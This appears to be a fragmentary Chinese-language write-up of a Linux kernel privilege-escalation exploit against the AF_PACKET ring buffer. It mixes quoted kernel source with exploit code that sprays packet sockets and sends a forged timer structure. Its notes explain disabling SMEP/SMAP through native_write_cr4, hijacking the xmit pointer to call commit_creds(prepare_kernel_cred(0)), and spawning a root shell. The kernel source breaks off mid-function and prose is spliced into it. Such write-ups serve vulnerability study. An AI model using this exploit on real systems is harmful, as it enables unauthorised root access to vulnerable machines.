----------------------------------------------------------------------
static void *prb_dispatch_next_block(struct tpacket_kbdq_core *pkc,
struct packet_sock *po)
{
...
prb_open_block(pkc, pbd);
return (void *)pkc->nxt_offset;
}
------------------------------------------------------------------------------
int skb_copy_bits(const struct sk_buff *skb, int offset, void *to, int len)
{
int start = skb_headlen(skb);
struct sk_buff *frag_iter;
int i, copy;
if (offset > (int)skb->len - len)
goto fault;
/* Copy header. */
if ((copy = start - offset) > 0) {
if (copy > len)
copy = len;
skb_copy_from_linear_data_offset(skb, offset, to, copy);
// (2-1) memcpy(to, skb->data + offset, len); 开始拷贝用户传入的数据,在这里下断点,查看是否覆盖了伪造的数据
if ((len -= copy) == 0)
return 0;
offset += copy;
to += copy;
}
if ((copy = start - offset) > 0) {
由于我们nxt_offset
不是完全符合到TIMER_OFFSET
字段的,所以会调整写,最终会溢出覆盖packet_socket的timer,最终覆盖packet_sock->rx_ring->prb_bdqc->retire_blk_timer->func为native_write_cr4,参数为设置的cr4值0x4ab40
int i;
for (i = 0; i < 32; i++) {
int timer = packet_sock_kmalloc();
packet_sock_timer_schedule(timer, 1000);
}
char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));
struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func;
timer->data = arg;
timer->flags = 1;
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
if (sendto(s, &buffer[0] + 2, sizeof(*timer) + 8 - 2, 0, (struct sockaddr *)&sa,sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
等待计时器执行(喷与内存块相邻的packet_socket后,要设置环形缓冲区的超时时间),然后就会超时调用该函数取消smep和smap了
溢出风水2
覆盖packet_sock的xmit函数指针,它会在发送数据时被调用,在关闭SMEP后返回到用户空间执行commit_creds(prepare_kernel_cred(0))实现提权
然后和上面同理,先申请一个绑定到接口的套接字,不同的是设置环形缓冲区时设置的tp_sizeof_priv不同
,然后申请大量packet_socket,再将构造好的payload发送到接口。当然也要调整发送的偏移,因为xmit的偏移也不是八字节对齐的
由于此时溢出覆盖的是堆喷的大量的packet_socket,此时调用那些喷的packet_socket来sendto到接口来触发packet_sock_id_match_trigger
起shell
最后在用户态起个shell就行